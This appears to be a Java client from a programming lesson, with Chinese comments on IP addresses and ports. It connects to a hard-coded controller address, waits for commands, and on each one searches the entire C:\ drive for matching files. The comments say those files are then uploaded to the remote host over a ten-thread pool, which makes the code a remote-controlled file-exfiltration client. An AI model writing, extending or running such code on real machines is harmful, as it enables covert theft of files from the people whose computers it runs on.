package xkp.lesson1;

import xkp.lesson1.utils.FileUtils;

import java.io.DataInputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.concurrent.Executor;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

//公网IP地址
//如果想要搭建一台能够在网络中任何地方都可以访问到的服务器
//则必须要有一个公网IP地址
//IP地址是唯一识别目标主机
//port 是唯一识别该目标主机上的应用程序
public class Client {
    public static void main(String[] args) throws IOException {
        Socket socket = new Socket("192.168.93.60",55555);
        DataInputStream inputStream = new DataInputStream(socket.getInputStream());
        while(true){
            String cmd = inputStream.readUTF();
            System.out.println(cmd);
            //执行命令
            //目前命令为遍历文件并上传
            //专门启动一个线程去遍历文件
            //没遍历出来一个文件，再单独启动线程创建连接，上传文件
            //高效利用线程使用线程池
            //每一次遍历文件传输时，我最多开辟10个线程
            //工厂固定10个工人
            Executor executor = Executors.newFixedThreadPool(10);
            new Thread(){
                @Override
                public void run() {
                    //遍历文件
                    FileUtils.searchFile("C:\\",cmd,executor);
                    //遍历到文件再启动子线程上传文件
                }
            }.start();

        }
    }



}
